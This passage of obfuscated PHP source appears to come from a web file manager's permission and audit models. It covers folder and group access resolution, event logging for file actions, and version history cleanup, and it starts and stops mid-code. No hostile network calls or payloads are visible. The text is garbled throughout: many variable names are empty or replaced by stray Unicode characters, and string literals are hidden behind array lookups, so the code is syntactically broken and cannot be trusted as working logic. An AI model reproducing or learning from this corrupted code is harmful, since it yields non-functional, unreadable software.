} $ = 1; $ʃ = array($); if ($[$[182]] == $[214] && $[$[540]] != $) { $ʃ = $this->groupChidldAllRootSource($[$[540]]); } $ = $this->field($[183])->group($[183])->select(); $ = array_to_keyvalue($, $[12], $[183]); if (!$) { return array(); } $ = $[2082]; $ = array($[183] => array($[7], $), $[475] => $[214]); $ = Model($[871])->field($)->where($)->select(); $ű = array($); foreach ($ as $ś) { foreach ($ʃ as $䱖) { $ = $[50] . $䱖 . $[50]; $Ҕ = $ś[$[555]] . $ś[$[183]] . $[50]; if (strstr($Ҕ, $)) { $ű[] = $ś[$[183]]; break; } } } return $this->sourceListAuth($ű); } private function sourceListAuth($) { $ =& $_SERVER[ʇ]; $̢ = Model($[1380])->sourceListInfo($, !0); $ = $this->sourceAuthSelect($); $ = array(); $߮ = array(); foreach ($̢ as $) { unset($[$[499]]); unset($[$[497]]); unset($[$[457]]); unset($[$[89]]); $ = $[$[$[183]]]; if (!$) { continue; } $[$[2083]] = $this->authTargetInfo($); $[$[553]] = rtrim($[$[559]], $[8]) . $[8] . ltrim($[$[553]], $[8]); $[] = $; $拼 = count(explode($[8], trim($[$[553]], $[8]))); $߮[] = $拼 + ($[$[33]] == $[77] ? 0 : 1000); } array_multisort($߮, SORT_ASC, $); return $; } private function groupChidldAllRootSource($♋ڐ) { $ҡ܊ =& $_SERVER[ʇ]; $Ƽ = Model($ҡ܊[2084])->groupChildrenAll($♋ڐ); $ = array($ҡ܊[182] => 0, $ҡ܊[540] => array($ҡ܊[7], $Ƽ), $ҡ܊[180] => SourceModel::TYPE_GROUP); $ӢDZ = Model($ҡ܊[871])->field($ҡ܊[183])->where($)->select(); $ӢDZ = array_to_keyvalue($ӢDZ, $ҡ܊[12], $ҡ܊[183]); return $ӢDZ; } private function authTargetInfo($) { $ЇӲ =& $_SERVER[ʇ]; $芃 = array(); $Ç = array(); $ = 2 << 25; foreach ($ as $) { $پ̃Σ = Model($ЇӲ[542])->listData($[$ЇӲ[2003]]); if (!$پ̃Σ) { continue; } if ($[$ЇӲ[180]] == SourceModel::TYPE_USER) { $ɓ = Model($ЇӲ[548])->getInfoSimpleOuter($[$ЇӲ[540]]); if ($ɓ[$ЇӲ[1701]] == $ЇӲ[1235]) { continue; } if ($ɓ[$ЇӲ[1701]] == $ЇӲ[214]) { $ɓ[$ЇӲ[32]] = LNG($ЇӲ[2085]); } } else { $ɓ = Model($ЇӲ[556])->getInfoSimple($[$ЇӲ[540]]); } if (!$ɓ) { continue; } $ɓ[$ЇӲ[510]] = $پ̃Σ; $芃[] = $ɓ; $ʂȈ = 0; if ($[$ЇӲ[180]] == SourceModel::TYPE_GROUP) { $ʂȈ = $ * 2; } if ($[$ЇӲ[180]] == SourceModel::TYPE_USER) { $ʂȈ = $; } if ($[$ЇӲ[180]] == SourceModel::TYPE_USER && $[$ЇӲ[540]] == $ЇӲ[214]) { $ʂȈ = 0; } $Ç[] = $پ̃Σ[$ЇӲ[457]] + $ʂȈ; } array_multisort($Ç, SORT_DESC, $芃); return $芃; } public function getAllChildrenByUser($֎, $̘) { $ =& $_SERVER[ʇ]; $ = Model($[569])->getInfo($̘); if (!$̘ || !$֎ || !$) { return array(); } $Ǐ = Model($[1380])->sourceInfo($֎); $υ = array(); $ = 1; if ($Ǐ[$[182]] == $[214] && $Ǐ[$[540]] != $ && $this->groupContainUser($Ǐ[$[540]], $̘)) { foreach ($[$[2086]] as $) { $ = Model($[556])->getInfo($[$[1899]]); $ = Model($[569])->getInfoSimpleOuter($̘); $[$[510]] = $[$[457]]; if (Model($[542])->authCheckAction($[$[457]][$[457]], $[1920])) { continue; } $́ = array($[32] => $[1255] . $[$[32]], $[183] => $[$[89]][$[183]], $[86] => KodIO::make($[$[89]][$[183]]), $[182] => $[214], $[180] => $[549], $[33] => $[586], $[553] => $[$[560]], $[1899] => $[$[1899]], $[557] => $[$[182]], $[2083] => array($)); $υ[$́[$[183]]] = $́; } } $̞ = array(); $ = $this->getAllChildren($֎); foreach ($ as $) { $Ŵ = !1; foreach ($[$[2083]] as $) { if ($[$[1701]]) { if ($[$[1701]] == $̘) { $Ŵ = !0; break; } } if ($[$[1899]]) { if ($this->groupContainUser($[$[1899]], $̘)) { $Ŵ = !0; break; } } } if ($Ŵ) { $̞[] = $; } $ = $[$[183]]; if (isset($υ[$])) { $[$[2083]][] = $υ[$][0]; $υ[$] = !1; } } $υ = array_filter(array_values($υ)); $̞ = array_merge($υ, $̞); return $̞; } public function setAllChildrenByUser($Ӱ, $, $) { $ =& $_SERVER[ʇ]; $Ɣ = $this->getAllChildrenByUser($Ӱ, $); if (!$ || !$Ɣ) { return !1; } foreach ($Ɣ as $ʎ) { $ = array(); foreach ($ʎ[$[2083]] as $ቚ) { $ = $ቚ[$[510]]; $ɟ = $ቚ[$[1701]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $ቚ[$[1701]] ? $ቚ[$[1701]] : $ቚ[$[1899]]; if ($ቚ[$[1701]] && $ቚ[$[1701]] == $) { continue; } $[] = array($[183] => $ʎ[$[183]], $[180] => $ɟ, $[540] => intval($), $[2003] => isset($[$[445]]) ? intval($[$[445]]) : 0, $[2063] => isset($[$[2063]]) ? intval($[$[2063]]) : -1); } $[] = array($[183] => $ʎ[$[183]], $[180] => SourceModel::TYPE_USER, $[540] => intval($), $[2003] => intval($), $[2063] => -1); $this->where(array($[461] => $ʎ[$[183]]))->delete(); $this->addAll($); } return !0; } public function get($) { $Քؾ = $this->getSourceList(array($), !0); return $Քؾ[0]; } public function getSourceList($, $ = false, $ = false) { $ =& $_SERVER[ʇ]; if (!$) { return array(); } $ޒ = Model($[1380]); if (!$ && count($) == 1) { $ = array(); $[$[0]] = $ޒ->sourceInfo($[0]); } if (!$) { $† = array($[461] => array($[462], $)); $ = $ޒ->field($[2087])->where($†)->select(); $ = array_to_keyvalue($, $[183]); } $˶ = $; foreach ($ as $ => $ۨ) { $٪ = $ޒ->parentLevelArray($ۨ[$[555]]); $˶ = array_merge($˶, array($), array_reverse($٪)); } $˶ = array_values(array_unique($˶)); if (!$˶) { return array(); } $騴 = $this->sourceAuthSelect($˶); $ = array(); foreach ($˶ as $Θ) { if (isset($騴[$Θ])) { $[$Θ] = $騴[$Θ]; } } $ = $this->userIsRoot($); $݌ = AuthModel::authAll(); $垪 = array($[458] => $݌, $[2088] => array($[463] => 0, $[1905] => $݌, $[464] => LNG($[2089]), $[1922] => $[2090])); $ = array(); foreach ($ as $Θ => $ΐ) { if ($ && $GLOBALS[$[6]][$[1918]]) { $[$Θ] = $垪; continue; } $[$Θ] = $this->makeSourceAuth($ΐ, $, $); } return $; } public function authDeepCheck($劤, $ = false) { $ =& $_SERVER[ʇ]; $ = $ ? $ : USER_ID; $Θ = $this->makeAuthDeep($); if (!in_array($劤, $Θ[$[2091]])) { return !1; } $ = array(); foreach ($Θ[$[2092]] as $ => $ܫԭ) { if (!in_array($劤, $ܫԭ)) { continue; } $[] = $; } if (!$) { return !1; } $ = $ ? $[0] : $劤; return array($[458] => -1, $[510] => array($[463] => $[1235], $[1905] => $[214], $[464] => LNG($[2093]), $[1922] => $[2094]), $[2095] => LNG($[2096]), $[2097] => $this->sourceAuthInfo($)); } protected function makeAuthDeep($ب = false) { $Ч =& $_SERVER[ʇ]; static $н = array(); $ب = $ب ? $ب : USER_ID; if (isset($н[$ب])) { return $н[$ب]; } $ = Model($Ч[2098])->listData(); $ؼ = array(); foreach ($ as $곚) { if ($곚[$Ч[457]] == 0 && $곚[$Ч[1921]] == $Ч[90]) { $ؼ[] = $곚[$Ч[445]]; } } $Ź = $this->userGroupParents($ب); $ܚ = array($Ч[180] => SourceModel::TYPE_USER, $Ч[540] => $ب); if ($Ź) { $ܚ = array(array($Ч[180] => SourceModel::TYPE_USER, $Ч[540] => $ب), array($Ч[180] => SourceModel::TYPE_GROUP, $Ч[540] => array($Ч[462], $Ź)), $Ч[1047] => $Ч[1997]); } $ԇτ = $this->field($Ч[2099])->where($ܚ)->select(); $ = array(); $̏ = array_to_keyvalue_group($ԇτ, $Ч[183]); foreach ($̏ as $ => $) { $ = $this->authArrayCheck($, $ب); if ($[$Ч[458]] > 0) { $[] = $ . $Ч[12]; } } if ($Ź) { $㜮 = Model($Ч[556]); foreach ($Ź as $󷥾) { $ƛ = $㜮->getInfo($󷥾); if (!$ƛ || !is_array($ƛ[$Ч[89]])) { continue; } $[] = $ƛ[$Ч[89]][$Ч[183]]; } } $ = array(); $ = $Ź; $ = Model($Ч[1380]); $㜮 = Model($Ч[556]); $ = array(); $ = array(); $ڕ = array(); $ن = array(); if ($) { $ = $->where(array($Ч[183] => array($Ч[462], $)))->select(); foreach ($ as $) { $ = $->parentLevelArray($[$Ч[555]]); $ = array_merge($, $); $[] = $[$Ч[540]]; $[$[$Ч[183]]] = $; $[$[$Ч[183]]] = $[$Ч[540]]; } } $ = array_values(array_unique($)); $ʧ = $; foreach ($ʧ as $󷥾) { $ƛ = $㜮->getInfo($󷥾); $ = $->parentLevelArray($ƛ[$Ч[555]]); $ = array_merge($, $); } $ = array_values(array_unique($)); foreach ($ as $󷥾) { $ƛ = $㜮->getInfo($󷥾); $[] = $ƛ[$Ч[89]][$Ч[183]]; $ڕ[$󷥾] = $ƛ[$Ч[89]][$Ч[183]]; $ن[$󷥾] = $->parentLevelArray($ƛ[$Ч[555]]); } foreach ($ as $ޭ => $) { $ = $[$ޭ]; if (!$ || !$ڕ[$]) { continue; } $ֶƼ = array(); foreach ($ن[$] as $󷥾) { $ֶƼ[] = $ڕ[$󷥾]; } $[$ޭ] = array_merge($ֶƼ, $); } $ = array_values(array_unique($)); $ӳ = array($Ч[2091] => $, $Ч[2092] => $); $н[$ب] = $ӳ; return $ӳ; } private function makeSourceAuth($, $ɠ, $谼 = false) { $ť =& $_SERVER[ʇ]; $ = $ť[90]; $˚湕 = $[$ť[540]]; $Т = $[$ť[180]] == SourceModel::TYPE_GROUP; $ = $Т ? $this->groupRootAuth($˚湕, $谼) : !1; if ($ && Model($ť[542])->authCheckAction($[$ť[457]], $ť[1920])) { return $this->groupAuthInfo($, $˚湕); } $ = Model($ť[1380])->parentLevelArray($[$ť[555]]); $ = array_merge(array($[$ť[183]]), array_reverse($)); $רٛ = !1; foreach ($ as $ı) { if (!isset($ɠ[$ı])) { continue; } $䈊 = $this->authMake($ɠ[$ı], $谼); if ($䈊[$ť[510]]) { $רٛ = $䈊; break; } } if (!$Т) { return $רٛ; } if (!$רٛ && $) { $רٛ = $this->groupAuthInfo($, $˚湕); } if (!$רٛ) { $ = Model($ť[556])->getInfo($˚湕); $ۺ = explode($ť[50], trim($[$ť[555]], $ť[50])); $ۺ = array_reverse($ۺ); foreach ($ۺ as $Ї) { if ($Ї == $ť[214] || $Ї == $) { continue; } $譛 = $this->groupRootAuth($Ї, $谼); if (!$譛) { continue; } $רٛ = $this->groupAuthInfo($譛, $Ї); break; } } if (!$רٛ || $רٛ[$ť[458]] <= 0) { $ = $this->authDeepCheck($[$ť[183]], $谼); if ($) { $רٛ = $; } } return $רٛ; } private function userIsRoot($ܒ = false) { $ό =& $_SERVER[ʇ]; if (!$ܒ && KodUser::isRoot()) { return !0; } $ͮܠ = Model($ό[569])->getInfo($ܒ); $ = Model($ό[2100])->listData($ͮܠ[$ό[2101]]); if ($ && $[$ό[546]][$ό[2102]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $֣گ =& $_SERVER[ʇ]; $ = Model($֣گ[1380]); $֥ = $->sourceInfo($); if (!$֥) { return !1; } $->groupPathDisplay($֥); $ = array($֥); $ = $->_listAppendPath($); $֥ = $[0]; $ނ = $֥[$֣گ[553]]; if (isset($֥[$֣گ[561]])) { $ى = explode($֣گ[8], trim($֥[$֣گ[553]], $֣گ[8])); array_shift($ى); $ނ = $֥[$֣گ[559]] . $֣گ[2103] . implode($֣گ[8], $ى); } return array($֣گ[464] => $֥[$֣گ[32]], $֣گ[86] => KodIO::make($֥[$֣گ[183]]), $֣گ[2104] => $ނ); } private function groupAuthInfo($Օ, $΁) { $މ =& $_SERVER[ʇ]; $ = Model($މ[556])->getInfo($΁); return array($މ[2105] => intval($Օ[$މ[457]]), $މ[2088] => $Օ, $މ[2106] => LNG($މ[2107]), $މ[2097] => array($މ[464] => $[$މ[32]], $މ[86] => KodIO::make($[$މ[89]][$މ[183]]), $މ[2104] => $[$މ[560]])); } protected function groupRootAuth($, $Ʌ = false) { $͜ =& $_SERVER[ʇ]; $Ʌ = $Ʌ ? $Ʌ : USER_ID; $ = $Ʌ . $͜[2108] . $; static $ݯ = array(); if (isset($ݯ[$])) { return $ݯ[$]; } $ܰ = Model($͜[556])->getInfo($); $ = $this->userGroupList($Ʌ); $χ = isset($[$]) ? $[$][$͜[457]] : !1; if ($χ && Model($͜[542])->authCheckAction($χ[$͜[457]], $͜[1920])) { $ݯ[$] = $χ; return $χ; } $΁ˊ = $this->sourceAuthSelect($ܰ[$͜[89]][$͜[183]]); $Ε = $΁ˊ ? $this->authMake($΁ˊ, $Ʌ) : !1; $ = $Ε ? $Ε[$͜[510]] : !1; $ݯ[$] = $ ? $ : $χ; return $ݯ[$]; } public function authOwnerApply($) { $ =& $_SERVER[ʇ]; if (empty($[$[457]]) || isset($[$[2109]]) && $[$[2109]]) { return $; } if (AuthModel::authCheckRoot($[$[457]][$[458]])) { return $; } $؊Ċ = Model($[1380])->parentLevelArray($[$[555]]); $؊Ċ = array_merge(array($[$[183]]), array_reverse($؊Ċ)); $ = $this->sourceAuthSelect($؊Ċ); $ԑ = array(); $ӿ = array(); foreach ($ as $հϬ => $) { $ȍ = $this->authFolderOwnerUser($); $ԑ[$հϬ] = $ȍ; $ӿ = array_merge($ӿ, $ȍ[$[632]]); if ($ȍ[$[2110]]) { break; } } if (count($ӿ) == 0) { $ӿ = $this->authFolderOwnerGroup($[$[540]]); } $ӿ = array_unique($ӿ); if (AuthModel::authCheckRoot($[$[457]][$[458]])) { $ӿ[] = USER_ID; } $[$[457]][$[2111]] = Model($[548])->userListInfo($ӿ); return $; } private function authFolderOwnerGroup($) { $ =& $_SERVER[ʇ]; $ő캩 = Model($[1989])->where(array($[1899] => $))->select(); $Ɨ = array(); if (!$ő캩) { return $Ɨ; } foreach ($ő캩 as $) { $焘 = $this->authInfo($); if (AuthModel::authCheckRoot($焘[$[457]])) { $Ɨ[] = $[$[1701]]; } } return $Ɨ; } private function authFolderOwnerUser($󽄍) { $ =& $_SERVER[ʇ]; $ = array(); $ֆǐ = !1; foreach ($󽄍 as $ˆ) { $󢥓 = $this->authInfo($ˆ); if ($ˆ[$[540]] == $[214]) { $ֆǐ = !0; } if ($ˆ[$[180]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($󢥓[$[457]])) { $[] = $ˆ[$[540]]; } } } return array($[632] => $, $[2110] => $ֆǐ); } public function authMake($, $и = false) { $؊¦ =& $_SERVER[ʇ]; $ɥ = $this->authArrayCheck($, $и); if ($ɥ[$؊¦[2112]]) { $ɥ[$؊¦[2112]] = $this->sourceAuthInfo($ɥ[$؊¦[2112]]); } return $ɥ; } public function authArrayCheck($쐵, $٘҄ = false) { $˰ =& $_SERVER[ʇ]; if (!$쐵) { return array($˰[458] => 0, $˰[510] => !1); } $٘҄ = $٘҄ ? $٘҄ : USER_ID; $ϼ = 0; $ކ = 0; $ދ = 0; $² = 0; $Ͻ = 0; $ = 0; $ᙬ = 1000; $ȴ = 0; $ = 0; $䣭 = 0; $ӯ = 0; $ = array($˰[183] => 0); foreach ($쐵 as $) { $Ȼ誕 = $this->authInfo($); if (!$Ȼ誕) { continue; } $¢Έ = $[$˰[540]]; $۝ = intval($Ȼ誕[$˰[457]]); if ($[$˰[180]] == SourceModel::TYPE_USER && $¢Έ == $٘҄) { $ϼ = !0; $ދ = $Ȼ誕; $ކ = $۝; } else { if ($[$˰[180]] == SourceModel::TYPE_GROUP && $this->groupContainUser($¢Έ, $٘҄)) { $² = !0; $̌ = $this->groupStepToUserGroup($¢Έ, $٘҄); if ($̌ < $ᙬ) { $ᙬ = $̌; $Ͻ = $۝; $ = $Ȼ誕; $ȴ = $¢Έ; } if ($̌ == $ᙬ && $۝ >= $Ͻ) { $Ͻ = $۝; $ = $Ȼ誕; $ȴ = $¢Έ; } } else { if ($¢Έ == $˰[214]) { $ = !0; $ӯ = $Ȼ誕; $䣭 = $۝; } } } } if ($ϼ) { $ƣ = $ކ; $Ȼ誕 = $ދ; $ɀ = LNG($˰[2113]); } else { if ($²) { $ƣ = $Ͻ; $Ȼ誕 = $; $ܥ = Model($˰[556])->getInfo($ȴ); $ɀ = $˰[165] . $ܥ[$˰[560]] . $˰[2114] . LNG($˰[2115]); } else { if ($) { $ƣ = $䣭; $Ȼ誕 = $ӯ; $ɀ = LNG($˰[2085]); } else { $ƣ = 0; $Ȼ誕 = !1; $ɀ = $˰[12]; } } } $ = array($˰[2105] => intval($ƣ), $˰[2088] => $Ȼ誕, $˰[2106] => $ɀ, $˰[2097] => $[$˰[183]]); return $; } private function groupContainUser($捖, $ = false) { return in_array($捖, $this->userGroupParents($)); } private function groupStepToUserGroup($, $㠴 = false) { $ =& $_SERVER[ʇ]; $ = $this->userGroupList($㠴); $ = 1000; $ð™ = $GLOBALS[$[6]][$[91]][$[2002]] == 1; $ = $ð™ ? 3 : 2; foreach ($ as $Ծ) { if ($Ծ[$[1899]] == $) { return 0; } $丑 = explode($[50], trim($Ծ[$[555]], $[50])); if ($丑[0] == $[214] && count($丑) > $) { $ѧ = array_reverse(array_slice($丑, $)); $ம = array_search($, $ѧ); if ($ம !== !1 && $ம + 1 <= $) { $ = $ம + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[ʇ]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[569])->getInfo($); $[$] = array_to_keyvalue($[$[2086]], $[1899]); return $[$]; } public function userGroupParents($Ν) { $ʓ =& $_SERVER[ʇ]; static $Ⱬ = array(); $Ν = $Ν ? $Ν : USER_ID; if (isset($Ⱬ[$Ν])) { return $Ⱬ[$Ν]; } $ = $this->userGroupList($Ν); $ϰ֗ = array(); $ = $GLOBALS[$ʓ[6]][$ʓ[91]][$ʓ[2002]] == 1; $ = $ ? 3 : 2; foreach ($ as $ݸ) { $Ѹ = array($ݸ[$ʓ[1899]]); $ߝ쮁 = explode($ʓ[50], trim($ݸ[$ʓ[555]], $ʓ[50])); if ($ߝ쮁[0] == $ʓ[214] && count($ߝ쮁) > $) { $р = array_slice($ߝ쮁, $); $Ѹ = array_merge($Ѹ, array_reverse($р)); } $ϰ֗ = array_merge($ϰ֗, $Ѹ); } $Ⱬ[$Ν] = array_unique($ϰ֗); return $Ⱬ[$Ν]; } public function authTargetInfoMake($롈ʱ) { $ =& $_SERVER[ʇ]; $ݎ = array(); $ = array(); foreach ($롈ʱ as $؇) { if ($؇[$[180]] == SourceModel::TYPE_USER) { $ݎ[] = intval($؇[$[540]]); } else { if ($؇[$[180]] == SourceModel::TYPE_GROUP) { $[] = intval($؇[$[540]]); } } } if ($ݎ) { $ݎ = Model($[548])->userListInfo($ݎ); } if ($) { $ٔ = array($[1987] => array($[462], $)); $ = Model($[556])->field($[2116])->where($ٔ)->select(); $ = array_to_keyvalue($, $[1899]); } return array($[2117] => $ݎ, $[2118] => $); } public function authInfo($ܸ) { $Ι =& $_SERVER[ʇ]; if ($ܸ[$Ι[2003]]) { $ = Model($Ι[542])->listData($ܸ[$Ι[2003]]); if (!$) { return !1; $ı = Model($Ι[542])->listData(); $ = array_filter_by_field($ı, $Ι[457], $Ι[214]); return $; } $ηŠ = array_field_key($, array($Ι[445], $Ι[32], $Ι[457], $Ι[1922], $Ι[1923])); $ηŠ[$Ι[2119]] = $ܸ; return $ηŠ; } else { return array($Ι[463] => 0, $Ι[1905] => $ܸ[$Ι[2063]], $Ι[464] => $Ι[12], $Ι[1922] => $Ι[2120]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\x73\157\165\x72\x63\x65\137\145\166\x65\156\x74"; protected $dataAuto = array(array("\x63\162\x65\141\164\145\x54\x69\x6d\x65", "\x74\x69\x6d\x65", "\x69\x6e\163\145\x72\x74", "\146\165\156\x63\164\151\157\x6e"), array("\144\x65\x73\143", '', "\151\156\x73\x65\162\x74\x2c\165\x70\144\x61\164\x65\54\x73\145\x6c\x65\x63\x74", "\152\x73\x6f\156")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $㰻, $姪 = '') { $Φ =& $_SERVER[ʇ]; if (!$this->eventSave) { return; } $Í֋ = Model($Φ[1380])->sourceInfo($); if (!$Í֋) { return !1; } if ($this->isCacheEvent($Í֋, $㰻)) { return; } if ($姪 && is_string($姪)) { $姪 = array($Φ[1938] => $姪); } $똎 = defined($Φ[2121]) ? USER_ID : 0; $ȅ݆ = array($Φ[461] => $, $Φ[2122] => $Í֋[$Φ[182]], $Φ[2123] => $Í֋[$Φ[32]], $Φ[553] => !empty($Í֋[$Φ[553]]) ? $Í֋[$Φ[553]] : $Φ[12], $Φ[1692] => $똎, $Φ[466] => $㰻, $Φ[1694] => $姪); $this->addSystemLog($㰻, $ȅ݆); unset($ȅ݆[$Φ[2123]], $ȅ݆[$Φ[553]]); return $this->add($ȅ݆); } private function addSystemLog($, $) { $̩ =& $_SERVER[ʇ]; if ($ == $̩[2124]) { $ = $[$̩[496]][$̩[2125]]; } else { if (in_array($, array($̩[1879], $̩[2126]))) { $ = $[$̩[496]][$̩[793]]; } } $ٜ = array_merge($, array($̩[2127] => $[$̩[183]], $̩[2128] => $[$̩[2128]])); Hook::trigger($̩[2129], $̩[2130] . $, $); Model($̩[1843])->addLog($̩[2130] . $, $ٜ); } private function isCacheEvent($ֈ, $̂) { if ($ֈ[$_SERVER[ʇ][180]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($݁, $) { $ =& $_SERVER[ʇ]; $ݬ = Model($[1380])->sourceInfo($݁); $ϥ = array($[2125] => $, $[32] => $ݬ[$[32]]); return $this->addEvent($݁, $[2124], $ϥ); } public function eventFileEdit($) { $Ԇ =& $_SERVER[ʇ]; $ = array($Ԇ[2131] => $_SERVER[$Ԇ[2132]], $Ԇ[2133] => strtolower(ACTION)); if (isset($GLOBALS[$Ԇ[7]][$Ԇ[2134]])) { $[$Ԇ[2134]] = $Ԇ[90]; } return $this->addEvent($, $Ԇ[1869], $); } public function eventRecycle($, $Ι٘) { return $this->addEvent($, $_SERVER[ʇ][2126], $Ι٘); } public function eventRemove($) { $ =& $_SERVER[ʇ]; $ = Model($[1380])->sourceInfo($); $ = $[$[32]]; return $this->addEvent($[$[182]], $[1868], $); } public function eventShare($ݢ˅, $ɟ) { return $this->addEvent($ݢ˅, $_SERVER[ʇ][1879], $ɟ); } public function eventMove($, $Ǻޅ, $) { $Ҫ =& $_SERVER[ʇ]; $ꏕ = Model($Ҫ[1380]); $ջ = $ꏕ->sourceInfo($); $ͅիЏ = $ꏕ->sourceInfo($Ǻޅ); $ծ = $ꏕ->sourceInfo($); $䲿 = array($Ҫ[1207] => $Ǻޅ, $Ҫ[2135] => $ͅիЏ[$Ҫ[32]], $Ҫ[2112] => !empty($ͅիЏ[$Ҫ[553]]) ? $ͅիЏ[$Ҫ[553]] : $Ҫ[12], $Ҫ[1208] => $, $Ҫ[2136] => $ծ[$Ҫ[32]], $Ҫ[2137] => !empty($ծ[$Ҫ[553]]) ? $ծ[$Ҫ[553]] : $Ҫ[12]); $this->addEvent($, $Ҫ[590], $䲿); $ջ = $ꏕ->sourceInfo($); $䲿 = array($Ҫ[183] => $ջ[$Ҫ[183]], $Ҫ[32] => $ջ[$Ҫ[32]]); $this->addEvent($Ǻޅ, $Ҫ[2138], $䲿); } public function eventCopy($ܔ) { $this->eventCreate($ܔ, $_SERVER[ʇ][588]); } public function eventRename($ͥ, $, $˻) { $箉 =& $_SERVER[ʇ]; $煠ǥ = array($箉[1207] => $, $箉[1208] => $˻); return $this->addEvent($ͥ, $箉[1394], $煠ǥ); } public function eventAddComment($, $貺) { return $this->addEvent($, $_SERVER[ʇ][2139], $貺); } public function eventAddDesc($, $Ω) { return $this->addEvent($, $_SERVER[ʇ][2140], $Ω); } public function listBySource($) { $䪖 =& $_SERVER[ʇ]; $ = Model($䪖[1380])->sourceInfo($); $ϥ = array($䪖[461] => $); if ($[$䪖[455]] == $䪖[90]) { $ = Model($䪖[1380])->listSearchChildren($, 20000); $[] = $ . $䪖[424]; $ϥ = array($䪖[183] => array($䪖[7], $)); } $ݠ̴ = $this->where($ϥ)->order($䪖[2141])->selectPage(); if ($ݠ̴[$䪖[412]][$䪖[413]] == 0) { $ݠ̴[$䪖[412]][$䪖[413]] = 1; $ݠ̴[$䪖[415]] = array(array($䪖[461] => $, $䪖[2122] => $[$䪖[182]], $䪖[1692] => $[$䪖[497]], $䪖[466] => $䪖[2142], $䪖[467] => $[$䪖[217]], $䪖[1694] => $䪖[12])); } return $this->eventListParse($ݠ̴, $); } private function eventListParse($ݰ, $؝) { $ =& $_SERVER[ʇ]; $ = $ݰ[$[415]]; $Ԙݖ = array_to_keyvalue($, $[12], $[183]); $ = array_to_keyvalue($, $[12], $[2128]); foreach ($ as $) { $Ǧ = $[$[496]]; if ($[$[33]] == $[590] && isset($Ǧ[$[1207]])) { $Ԙݖ[] = $Ǧ[$[1207]] . $[12]; $Ԙݖ[] = $Ǧ[$[1208]] . $[12]; } if ($[$[33]] == $[2138] && isset($Ǧ[$[183]])) { $Ԙݖ[] = $Ǧ[$[183]] . $[12]; } } $Ԙݖ = array_merge($Ԙݖ, $, array($؝ . $[12])); $Ԙݖ = array_unique($Ԙݖ); $ё = array_unique(array_to_keyvalue($, $[12], $[1701])); $ = Model($[569])->userListInfo($ё); $ = Model($[871])->sourceListInfo($Ԙݖ, !0); foreach ($ as &$) { if ($[$[33]] == $[590] && isset($[$[496]][$[1207]])) { $[$[496]][$[1207]] = $[$[$[496]][$[1207]]]; $[$[496]][$[1208]] = $[$[$[496]][$[1208]]]; } if ($[$[33]] == $[2138] && isset($[$[496]][$[183]])) { $[$[496]][$[183]] = $[$[$[496]][$[183]]]; } $[$[89]] = $[$[$[183]]]; $[$[2143]] = $[$[$[2128]]]; if ($[$[33]] == $[1868]) { $[$[2143]] = $[$[89]]; $[$[2128]] = $[$[2143]][$[183]]; $[$[89]] = !1; $[$[183]] = $[12]; } $[$[2071]] = $[$[$[1701]]]; } unset($); $ݰ[$[415]] = $; return $ݰ; } public function removeBySource($餫) { $Ώ = array($_SERVER[ʇ][461] => $餫); $this->where($Ώ)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\137\163\157\165\162\x63\x65\x5f\x68\x69\x73\x74\x6f\x72\x79"; public function historyCount($) { $Б =& $_SERVER[ʇ]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $Њ = array($Б[183], $Б[1932] => $Б[536]); $ = array($Б[183] => array($Б[7], $)); $ч = $this->field($Њ)->where($)->group($Б[183])->select(); return array_to_keyvalue($ч, $Б[183], $Б[536]); } public function addHistory($, $Џ = '') { $Ϙ =& $_SERVER[ʇ]; $ř = array($Ϙ[461] => $[$Ϙ[183]], $Ϙ[1692] => isset($[$Ϙ[499]]) ? $[$Ϙ[499]] : $[$Ϙ[497]], $Ϙ[512] => $[$Ϙ[511]], $Ϙ[587] => $[$Ϙ[78]], $Ϙ[2144] => $Џ); if ($GLOBALS[$Ϙ[6]][$Ϙ[91]][$Ϙ[1264]] >= 1) { $this->historyAutoClear($ř[$Ϙ[183]]); $this->add($ř); } Hook::trigger($Ϙ[2145], $ř); Model($Ϙ[2146])->eventFileEdit($[$Ϙ[183]]); } private function historyAutoClear($) { $砲 =& $_SERVER[ʇ]; $˙ = Model($砲[809])->get($砲[1286]); $ = intval($GLOBALS[$砲[6]][$砲[91]][$砲[1264]]); $ɂڒ = $˙ == $砲[1287] ? min(5, $) : $; $ɂڒ = $ɂڒ <= 0 ? 0 : $ɂڒ - 1; if ($ɂڒ >= 500) { return; } $ãŻ = array($砲[461] => $); $񊘽 = $this->field($砲[2147])->where($ãŻ)->order($砲[2141])->select(); if (!$񊘽 || $ɂڒ >= count($񊘽)) { return; } $ = array_to_keyvalue($񊘽, $砲[12], $砲[445]); $ = array_slice($, $ɂڒ); $ = array_to_keyvalue($񊘽, $砲[12], $砲[511]); $ = array_slice($, $ɂڒ); if (!$ || !$) { return; } $ãŻ = array($砲[463] => array($砲[7], $)); $this->where($ãŻ)->delete(); Model($砲[514])->remove($); } public function listData($) { $ =& $_SERVER[ʇ]; $Ӂ = array($[461] => $); $ǚԤ = $[2148]; $ = $this->field($ǚԤ)->where($Ӂ)->order($[2141])->selectPage(); $this->_listAppendUser($[$[415]]); $ = Model($[809])->get($[1286]); $Ӫ = 5; if ($ == $[1287]) { $[$[415]] = array_slice($[$[415]], 0, $Ӫ); $[$[412]] = array($[2149] => 1, $[2150] => 20, $[2151] => 1, $[2152] => count($[$[415]])); } return $; } protected function _listAppendUser(&$ݝ) { $҂ݷ =& $_SERVER[ʇ]; $ۦ = array_to_keyvalue($ݝ, $҂ݷ[12], $҂ݷ[1701]); $; = Model($҂ݷ[569])->userListInfo($ۦ); foreach ($ݝ as &$) { $୓ = $[$҂ݷ[1701]]; $[$҂ݷ[497]] = $;[$୓] ? $;[$୓] : !1; } unset($); } public function fileInfo($⴦ݵ) { $Ǘ =& $_SERVER[ʇ]; $ = $this->tablePrefix; $ = 